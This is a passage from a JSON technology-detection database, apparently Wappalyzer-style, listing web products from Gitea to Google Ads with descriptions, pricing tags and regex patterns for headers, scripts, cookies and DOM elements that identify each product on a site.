([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"gitea.svg\",\n    \"implies\": [\n      \"Go\"\n    ],\n    \"meta\": {\n      \"keywords\": \"^go,git,self-hosted,gitea$\"\n    },\n    \"website\": \"https://gitea.io\"\n  },\n  \"Gitiles\": {\n    \"cats\": [\n      47\n    ],\n    \"html\": [\n      \"Powered by <a href=\\\"https://gerrit\\\\.googlesource\\\\.com/gitiles/\\\">Gitiles<\"\n    ],\n    \"implies\": [\n      \"Java\",\n      \"git\"\n    ],\n    \"website\": \"https://gerrit.googlesource.com/gitiles/\"\n  },\n  \"GiveCampus\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"GiveCampus is a fundraising platform for nonprofit educational institutions.\",\n    \"dom\": [\n      \"a[href*='.givecampus.com/']\"\n    ],\n    \"icon\": \"GiveCampus.svg\",\n    \"meta\": {\n      \"author\": \"^GiveCampus$\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://go.givecampus.com\"\n  },\n  \"GiveSmart\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"GiveSmart is an event fund gathering technology that offers customisable event size, mobile bidding, text-to-donate, enhanced dashboard and reporting, seating arrangement, and more.\",\n    \"dom\": [\n      \"a[href*='.givesmart.com/']\"\n    ],\n    \"icon\": \"GiveSmart.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.givesmart\\\\.com/\"\n    ],\n    \"website\": \"https://www.givesmart.com\"\n  },\n  \"GiveWP\": {\n    \"cats\": [\n      111,\n      87\n    ],\n    \"description\": \"GiveWP is a donation plugin for WordPress.\",\n    \"icon\": \"GiveWP.svg\",\n    \"js\": {\n      \"Give.donor\": \"\",\n      \"giveApiSettings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/give/.+give\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://givewp.com\"\n  },\n  \"GivingFuel\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"GivingFuel is a fundraising software solution.\",\n    \"dom\": [\n      \"a[href*='.givingfuel.com/']\"\n    ],\n    \"icon\": \"GivingFuel.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.givingfuel\\\\.com/\"\n    ],\n    \"website\": \"https://www.givingfuel.com\"\n  },\n  \"Gladly\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Gladly is a customer service platform.\",\n    \"icon\": \"Gladly.svg\",\n    \"js\": {\n      \"Gladly\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.gladly\\\\.com\"\n    ],\n    \"website\": \"https://www.gladly.com\"\n  },\n  \"GlassFish\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:oracle:glassfish_server:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"GlassFish(?: Server)?(?: Open Source Edition)?(?: ?/?([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"GlassFish.png\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://glassfish.java.net\"\n  },\n  \"Glassbox\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Glassbox is an Israeli software company. It sells session-replay analytics software and services.\",\n    \"icon\": \"Glassbox.svg\",\n    \"js\": {\n      \"SessionCamRecorder\": \"\",\n      \"sessioncamConfiguration\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.glassboxcdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.glassbox.com\"\n  },\n  \"Glassix\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Glassix is an omnichannel messaging platform for service, sales, and support centers.\",\n    \"js\": {\n      \"GlassixWidgetClient\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://glassix.co.il\"\n  },\n  \"Gleam\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Gleam is a marketing app that aids in expanding business email lists, ecommerce stores, SaaS businesses, and Facebook audiences.\",\n    \"icon\": \"Gleam.svg\",\n    \"js\": {\n      \"Gleam\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.gleamjs\\\\.io/\"\n    ],\n    \"website\": \"https://gleam.io\"\n  },\n  \"Gleap\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Gleap is an all-in-one customer feedback platform offering features like in-app bug reporting, live chat, AI support bots, product roadmaps, customer surveys, and marketing automation to enhance customer service and product development.\",\n    \"icon\": \"Gleap.svg\",\n    \"js\": {\n      \"Gleap\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.gleap.io\"\n  },\n  \"Gleen\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Gleen is a generative AI chatbot designed to provide customers with trustworthy answers, automate actions, and integrate unified knowledge.\",\n    \"icon\": \"Gleen.svg\",\n    \"js\": {\n      \"gleenWidget\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.gleen\\\\.ai/\"\n    ],\n    \"website\": \"https://gleen.ai\"\n  },\n  \"Glia\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Glia is a chat and digital assistant utilised across various industries.\",\n    \"icon\": \"Glia.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.glia\\\\.com/\"\n    ],\n    \"website\": \"https://www.glia.com\"\n  },\n  \"Glide.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Glide.js is a dependency-free JavaScript ES6 slider and carousel.\",\n    \"dom\": [\n      \"div[data-glide-el]\"\n    ],\n    \"icon\": \"Glide.js.svg\",\n    \"js\": {\n      \"Glide\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/@glidejs/glide(?:@([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://glidejs.com\"\n  },\n  \"Glider.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Glider.js is a fast, lightweight, responsive, dependency-free scrollable list with customisable paging controls.\",\n    \"icon\": \"Glider.js.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/|@)?([\\\\d\\\\.]{2,})?/glider\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://nickpiscitelli.github.io/Glider.js\"\n  },\n  \"Glitch\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Glitch is a collaborative programming environment that lives in your browser and deploys code as you type.\",\n    \"icon\": \"Glitch.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"url\": [\n      \"https://[^.]+\\\\.glitch\\\\.me\"\n    ],\n    \"website\": \"https://glitch.com\"\n  },\n  \"Global-e\": {\n    \"cats\": [\n      106\n    ],\n    \"cookies\": {\n      \"GlobalE_CT_Data\": \"\",\n      \"GlobalE_Data\": \"\",\n      \"GlobalE_SupportThirdPartCookies\": \"\"\n    },\n    \"description\": \"Global-e is a provider of cross-border ecommerce solutions.\",\n    \"icon\": \"Global-e.svg\",\n    \"js\": {\n      \"GLOBALE_ENGINE_CONFIG\": \"\",\n      \"GlobalE\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.global-e\\\\.com\"\n    ],\n    \"website\": \"https://www.global-e.com\"\n  },\n  \"GlobalShopex\": {\n    \"cats\": [\n      106\n    ],\n    \"description\": \"GlobalShopex offers a logistics ecommerce solution easy to integrate, which helps online businesses to sell in over 200 countries.\",\n    \"icon\": \"GlobalShopex.png\",\n    \"js\": {\n      \"GSXMiniCheckout\": \"\",\n      \"GSXPreviewCheckout\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//globalshopex\\\\.com/\"\n    ],\n    \"website\": \"https://www.globalshopex.com\"\n  },\n  \"Globo Also Bought\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Also Bought is a conversion Shopify app by Globo.\",\n    \"icon\": \"Globo apps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets/globo\\\\.alsobought\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/globo-related-products\"\n  },\n  \"Globo Color Swatch\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Globo Color Swatch app gives you an easy-to-use tool to display product variants on both collection page, homepage and product page creatively as a means to enhance customers' experience and stimulate them to purchase.\",\n    \"icon\": \"Globo apps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets/globo\\\\.swatch\\\\.data\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/globo-related-products\"\n  },\n  \"Globo Form Builder\": {\n    \"cats\": [\n      100,\n      110\n    ],\n    \"description\": \"Form Builder is a Shopify form builder app for contact form built by Globo.\",\n    \"icon\": \"Globo apps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/assets/globo\\\\.formbuilder\\\\.init\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/form-builder-contact-form\"\n  },\n  \"Globo Pre-Order\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Globo Pre-Order is a Shopify app for building pre-order functionality on Shopify stores.\",\n    \"icon\": \"Globo apps.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"GloboPreorderParams\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/pre-order-pro\"\n  },\n  \"Glofox\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Glofox is a fitness management platform that assists gyms and fitness studios in managing memberships, class scheduling, and other business operations.\",\n    \"dom\": [\n      \"a[href*='.glofox.com/'], iframe[src*='.glofox.com/']\"\n    ],\n    \"icon\": \"Glofox.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.glofox.com\"\n  },\n  \"Gloo\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Gloo is a platform designed to help churches develop a more connected ministry.\",\n    \"icon\": \"Gloo.svg\",\n    \"js\": {\n      \"__GLOO_ONLINE\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.gloo\\\\.us/\"\n    ],\n    \"website\": \"https://www.gloo.us\"\n  },\n  \"Glopal\": {\n    \"cats\": [\n      106\n    ],\n    \"description\": \"Glopal provides advanced international marketing solutions for ecommerce retailers and brands seeking to grow their businesses' globally.\",\n    \"icon\": \"Glopal.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.glopal\\\\.com/\"\n    ],\n    \"website\": \"https://www.glopal.com\"\n  },\n  \"GloriaFood\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"GloriaFood is an online ordering and food delivery platform that helps restaurant owners manage orders and streamline point-of-sale operations.\",\n    \"icon\": \"Oracle.svg\",\n    \"js\": {\n      \"glfBindButtons\": \"\",\n      \"glfWidget\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"website\": \"https://www.gloriafood.com\"\n  },\n  \"GlueUp\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"GlueUp is an all-in-one CRM platform.\",\n    \"icon\": \"GlueUp.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.glueup\\\\.com/\"\n    ],\n    \"website\": \"https://www.glueup.com\"\n  },\n  \"Glyphicons\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Glyphicons are icon fonts which you can use in your web projects.\",\n    \"html\": [\n      \"(?:<link[^>]* href=[^>]+glyphicons(?:\\\\.min)?\\\\.css|<img[^>]* src=[^>]+glyphicons)\"\n    ],\n    \"icon\": \"Glyphicons.svg\",\n    \"website\": \"https://glyphicons.com\"\n  },\n  \"Gnuboard\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Gnuboard is an open-source bulletin board system or CMS from South Korea.\",\n    \"dom\": {\n      \"a[href*='board.php']\": {\n        \"attributes\": {\n          \"href\": \"(?:gnuboard/)?bbs/(?:gnu)?board\\\\.php\"\n        }\n      },\n      \"link[href*='/gnuboard/style.css']\": {\n        \"attributes\": {\n          \"href\": \"\"\n        }\n      }\n    },\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"g4_bbs_img\": \"\",\n      \"g4_is_admin\": \"\",\n      \"g5_is_admin\": \"\",\n      \"g5_js_ver\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/gnuboard\"\n  },\n  \"Go\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*\",\n    \"description\": \"Go is an open source high-level programming language.\",\n    \"icon\": \"Go.svg\",\n    \"oss\": true,\n    \"website\": \"https://go.dev\"\n  },\n  \"Go Instore\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Go Instore uses high-definition live video to connect online customers with in-store product experts.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.goinstore\\\\.com\"\n    },\n    \"icon\": \"Go Instore.svg\",\n    \"js\": {\n      \"GISAPP.videoJsCtrl\": \"\",\n      \"gisAppLib.postRobot\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//gis\\\\.goinstore\\\\.com/\"\n    ],\n    \"website\": \"https://goinstore.com\"\n  },\n  \"GoAffPro\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Goaffpro is an affiliate marketing solution for ecommerce stores.\",\n    \"icon\": \"GoAffPro.svg\",\n    \"js\": {\n      \"gfp_api_server\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"api\\\\.goaffpro\\\\.com/loader\\\\.js\"\n    ],\n    \"website\": \"https://goaffpro.com/\"\n  },\n  \"GoAhead\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:embedthis:goahead:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"GoAhead\"\n    },\n    \"icon\": \"GoAhead.png\",\n    \"website\": \"https://embedthis.com/products/goahead/index.html\"\n  },\n  \"GoAnywhere\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"GoAnywhere by HelpSystems is a Managed File Transfer (MFT) system with sharing and collaboration features\",\n    \"headers\": {\n      \"Server\": \"goanywhere\"\n    },\n    \"icon\": \"goanywhere.svg\",\n    \"js\": {\n      \"appContainer\": \"GoAnywhereWebClientContainer\"\n    },\n    \"website\": \"https://www.goanywhere.com/\"\n  },\n  \"GoCache\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"GoCache is an in-memory key:value store/cache similar to memcached that is suitable for applications running on a single machine.\",\n    \"headers\": {\n      \"Server\": \"^gocache$\",\n      \"X-GoCache-CacheStatus\": \"\"\n    },\n    \"icon\": \"GoCache.svg\",\n    \"website\": \"https://www.gocache.com.br/\"\n  },\n  \"GoCertify\": {\n    \"cats\": [\n      5\n    ],\n    \"cookies\": {\n      \"_gocertify_session\": \"\"\n    },\n    \"description\": \"GoCertify is a conversion-focused and cost-effective way to verify students, key workers, under-26s, over-60s, military and more for exclusive discounts.\",\n    \"dom\": [\n      \"a[href*='secure.gocertify.me']\"\n    ],\n    \"icon\": \"GoCertify.png\",\n    \"pricing\": [\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.gocertify\\\\.me/\"\n    ],\n    \"website\": \"https://www.gocertify.me\"\n  },\n  \"GoDaddy\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"GoDaddy is used as a web host and domain registrar.\",\n    \"dns\": {\n      \"NS\": \"\\\\.domaincontrol\\\\.com\",\n      \"SOA\": \"\\\\.domaincontrol\\\\.com\"\n    },\n    \"icon\": \"GoDaddy.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.godaddy.com\"\n  },\n  \"GoDaddy CoBlocks\": {\n    \"cats\": [\n      87,\n      51\n    ],\n    \"description\": \"GoDaddy CoBlocks is a suite of professional page building content blocks for the WordPress Gutenberg block editor.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/coblocks/']\"\n    ],\n    \"icon\": \"GoDaddy.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/coblocks/\"\n    ],\n    \"website\": \"https://github.com/godaddy-wordpress/coblocks\"\n  },\n  \"GoDaddy Domain Parking\": {\n    \"cats\": [\n      109\n    ],\n    \"description\": \"GoDaddy is used as a web host and domain registrar.\",\n    \"icon\": \"GoDaddy.svg\",\n    \"scripts\": [\n      \"wsimg\\\\.com/parking-lander\"\n    ],\n    \"website\": \"https://www.godaddy.com\"\n  },\n  \"GoDaddy Escapade\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"GoDaddy Escapade is a GoDaddy Primer child theme with a unique sidebar navigation.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/escapade/']\"\n    ],\n    \"excludes\": [\n      \"GoDaddy Primer\"\n    ],\n    \"icon\": \"GoDaddy.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://github.com/godaddy-wordpress/primer-child-escapade\"\n  },\n  \"GoDaddy Go\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"GoDaddy Go is a flexible Gutenberg-first WordPress theme built for go-getters everywhere.\",\n    \"dom\": [\n      \"link#go-style-css\"\n    ],\n    \"icon\": \"GoDaddy.svg\",\n    \"js\": {\n      \"goFrontend.openMenuOnHover\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/go/.+frontend\\\\.min\\\\.js(?:.+ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/godaddy-wordpress/go\"\n  },\n  \"GoDaddy Lyrical\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"GoDaddy Lyrical is a GoDaddy Primer child theme with a focus on photography and beautiful fonts.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/lyrical/']\"\n    ],\n    \"excludes\": [\n      \"GoDaddy Primer\"\n    ],\n    \"icon\": \"GoDaddy.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://github.com/godaddy-wordpress/primer-child-lyrical\"\n  },\n  \"GoDaddy Online Store\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"via\": \"^1\\\\.1 mysimplestore\\\\.com$\"\n    },\n    \"icon\": \"GoDaddy.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.godaddy.com/en-uk/websites/online-store\"\n  },\n  \"GoDaddy Primer\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"GoDaddy Primer is a powerful theme that brings clarity to your content in a fresh design. This is the parent for all themes in the GoDaddy Primer theme family.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/primer/']\"\n    ],\n    \"icon\": \"GoDaddy.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/primer/.+navigation\\\\.min\\\\.js(?:.+ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/godaddy-wordpress/primer\"\n  },\n  \"GoDaddy Uptown Style\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"GoDaddy Uptown Style is a GoDaddy Primer child theme with elegance and class.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/uptown-style/']\"\n    ],\n    \"excludes\": [\n      \"GoDaddy Primer\"\n    ],\n    \"icon\": \"GoDaddy.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://github.com/godaddy-wordpress/primer-child-uptownstyle\"\n  },\n  \"GoDaddy Website Builder\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"dps_site_id\": \"\"\n    },\n    \"icon\": \"GoDaddy.svg\",\n    \"meta\": {\n      \"generator\": \"Go Daddy Website Builder (.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.godaddy.com/websites/website-builder\"\n  },\n  \"GoJS\": {\n    \"cats\": [\n      25\n    ],\n    \"icon\": \"GoJS.svg\",\n    \"js\": {\n      \"go.GraphObject\": \"\",\n      \"go.version\": \"(.*)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://gojs.net/\"\n  },\n  \"GoKwik\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"GoKwik is a platform for solving shopping experience problems on ecommerce websites on the internet.\",\n    \"icon\": \"GoKwik.svg\",\n    \"js\": {\n      \"gokwikBuyNow\": \"\",\n      \"gokwikCheckoutApp\": \"\",\n      \"gokwikSdk\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.gokwik.co\"\n  },\n  \"GoMage\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"GoMage is a Magento development company with 10 years of experience.\",\n    \"icon\": \"GoMage.svg\",\n    \"implies\": [\n      \"PWA\",\n      \"Magento\\\\;version:2\"\n    ],\n    \"js\": {\n      \"GomageNavigation\": \"\",\n      \"GomageNavigationClass\": \"\",\n      \"gomageSpinnerModal\": \"\",\n      \"gomage_navigation_loadinfo_text\": \"\",\n      \"gomage_navigation_urlhash\": \"\"\n    },\n    \"website\": \"https://www.gomage.com/magento-2-pwa\"\n  },\n  \"GoPrep\": {\n    \"cats\": [\n      93\n    ],\n    \"cookies\": {\n      \"goprep_session\": \"\"\n    },\n    \"description\": \"GoPrep is a meal prep software tailored for the Meal Preparation & Delivery industry.\",\n    \"icon\": \"GoPrep.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://goprep.com\"\n  },\n  \"GoStats\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"GoStats.png\",\n    \"js\": {\n      \"_goStatsRun\": \"\",\n      \"_go_track_src\": \"\",\n      \"go_msie\": \"\"\n    },\n    \"website\": \"https://gostats.com/\"\n  },\n  \"GoZen Forms\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"GoZen Forms is an AI-powered no-code form builder that automates form creation, collects signup data, payments, and e-signatures.\",\n    \"icon\": \"GoZenForms.svg\",\n    \"js\": {\n      \"GzFormAjax.send\": \"\",\n      \"GzFormMain\": \"\",\n      \"GzFormPopup\": \"\",\n      \"GzForms\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"signup-forms-cdn\\\\.app\\\\.gozen\\\\.io/\"\n    ],\n    \"website\": \"https://gozen.io/forms/\"\n  },\n  \"Goat Slider\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Goat Slider is a webflow library that enables users to construct advanced sliders for their sites.\",\n    \"icon\": \"GoatSlider.svg\",\n    \"js\": {\n      \"GoatSliderCarousel\": \"\",\n      \"GoatSliderSlider\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://goatslider.com\"\n  },\n  \"GoatCounter\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"GoatCounter is an open source web analytics platform available as a hosted service (free for non-commercial use) or self-hosted app. It aims to offer easy to use and meaningful privacy-friendly web analytics as an alternative to Google Analytics or Matomo.\",\n    \"icon\": \"goatcounter.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"gc\\\\.zgo\\\\.at/count\\\\.js\"\n    ],\n    \"website\": \"https://www.goatcounter.com/\"\n  },\n  \"Gobot\": {\n    \"cats\": [\n      52\n    ],\n    \"cookies\": {\n      \"_gobot\": \"\"\n    },\n    \"description\": \"Gobot is a tool that increases website leads, sales, and engagement through a conversational bot.\",\n    \"icon\": \"Gobot.svg\",\n    \"js\": {\n      \"gobot\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getgobot\\\\.com/\"\n    ],\n    \"website\": \"https://www.getgobot.com\"\n  },\n  \"Godot\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Godot is a game engine that supports exporting to HTML5 with WebAssembly compatibility.\",\n    \"icon\": \"Godot.svg\",\n    \"implies\": [\n      \"WebAssembly\"\n    ],\n    \"js\": {\n      \"GODOT_CONFIG\": \"\",\n      \"Godot\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://godotengine.org\"\n  },\n  \"Goftino\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Goftino is an online chat service for web users.\",\n    \"icon\": \"Goftino.svg\",\n    \"js\": {\n      \"Goftino.setWidget\": \"\",\n      \"goftinoRemoveLoad\": \"\",\n      \"goftino_1\": \"\",\n      \"goftino_getUrl\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.goftino\\\\.com/\"\n    ],\n    \"website\": \"https://www.goftino.com\"\n  },\n  \"Gogs\": {\n    \"cats\": [\n      47\n    ],\n    \"cookies\": {\n      \"i_like_gogits\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*\",\n    \"description\": \"Gogs is a self-hosted Git service written in Go.\",\n    \"html\": [\n      \"<div class=\\\"ui left\\\">\\\\n\\\\s+© \\\\d{4} Gogs Version: ([\\\\d.]+) Page:\\\\;version:\\\\1\",\n      \"<button class=\\\"ui basic clone button\\\" id=\\\"repo-clone-ssh\\\" data-link=\\\"gogs@\"\n    ],\n    \"icon\": \"gogs.svg\",\n    \"implies\": [\n      \"Go\",\n      \"Macaron\"\n    ],\n    \"meta\": {\n      \"keywords\": \"go, git, self-hosted, gogs\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"js/gogs\\\\.js\"\n    ],\n    \"website\": \"https://gogs.io\"\n  },\n  \"Gomag\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Gomag is a B2B and B2C ecommerce platform from Romania.\",\n    \"headers\": {\n      \"author\": \"^Gomag$\"\n    },\n    \"icon\": \"Gomag.svg\",\n    \"js\": {\n      \"$GomagConfig\": \"\",\n      \"GomagForm\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.gomag.ro\"\n  },\n  \"Goober\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Goober is a minified CSS-in-JS styling solution.\",\n    \"dom\": [\n      \"style#_goober\"\n    ],\n    \"icon\": \"Goober.svg\",\n    \"js\": {\n      \"goober\": \"\",\n      \"gooberGlobal\": \"\",\n      \"gooberPrefixer\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://goober.js.org\"\n  },\n  \"Google AdSense\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Google AdSense is a program run by Google through which website publishers serve advertisements that are targeted to the site content and audience.\",\n    \"dom\": [\n      \"amp-ad[type='adsense']\"\n    ],\n    \"icon\": \"Google AdSense.svg\",\n    \"js\": {\n      \"Goog_AdSense_\": \"\",\n      \"Goog_AdSense_OsdAdapter\": \"\",\n      \"__google_ad_urls\": \"\",\n      \"adsbygoogle\": \"\",\n      \"google_ad_\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"googlesyndication\\\\.com/\",\n      \"ad\\\\.ca\\\\.doubleclick\\\\.net\",\n      \"2mdn\\\\.net\",\n      \"ad\\\\.ca\\\\.doubleclick\\\\.net\"\n    ],\n    \"website\": \"https://www.google.com/adsense/start/\"\n  },\n  \"Google Ads\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Google Ads is an online 